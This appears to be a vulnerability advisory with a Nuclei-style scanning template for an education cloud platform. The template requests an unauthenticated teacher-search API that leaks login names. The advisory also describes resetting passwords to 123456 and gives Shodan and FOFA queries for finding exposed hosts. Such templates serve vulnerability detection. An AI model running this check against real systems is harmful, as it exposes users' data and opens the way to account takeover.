Zhongqing Naboo Education Cloud Platform is a deep application supporting teaching and research. Information leakage and unauthorized access exist in the cloud platform system. The password can be reset to 123456 through the leaked user name. The application system does not effectively verify identity on some function pages, allowing direct access and operation on sensitive endpoints. This may enable attackers to obtain sensitive information or reset credentials without proper authorization.
PoC
id: zqnb-educationcloud-exposure
info:
name: ZhongQing Education Cloud Platform - Information Exposure
author: ritikchaddha
severity: high
description: |
Zhongqing Naboo Education Cloud Platform is a deep application supporting teaching and research. Information leakage and unauthorized access exist in the cloud platform system. The password can be reset to 123456 through the leaked user name. The application system does not effectively verify identity on some function pages, allowing direct access and operation on sensitive endpoints. This may enable attackers to obtain sensitive information or reset credentials without proper authorization.
impact: |
Information leakage allows attackers to obtain sensitive data such as usernames. With leaked information, attackers are able to reset passwords and further compromise the system, causing privacy breaches, unauthorized access, or malicious damage to the application system.
reference:
- https://www.pwnwiki.org/index.php?title=%E4%B8%AD%E6%85%B6%E7%B4%8D%E5%8D%9A%E6%95%99%E8%82%B2%E9%9B%B2%E5%B9%B3%E8%87%BA%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%26%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%E6%BC%8F%E6%B4%9E
classification:
cwe-id: CWE-284
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-1474228802
fofa-query: icon_hash="-1474228802"
tags: exposure,zqnb,education,cloud
http:
- method: GET
path:
- "{{BaseURL}}/api/TeacherQuery/SearchTeacherInSiteWithPagerRecords"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'LoginName'
- 'UserAvatar'
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200
# digest: 490a004630440220622963c5938e7927d2d7638f109c8552ba9c53e89e47c0fad43b0e150f348cc402203f31843f4c2ac97475f07c080b3c52486461d53d0c8324977b55fa0418d086e9:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.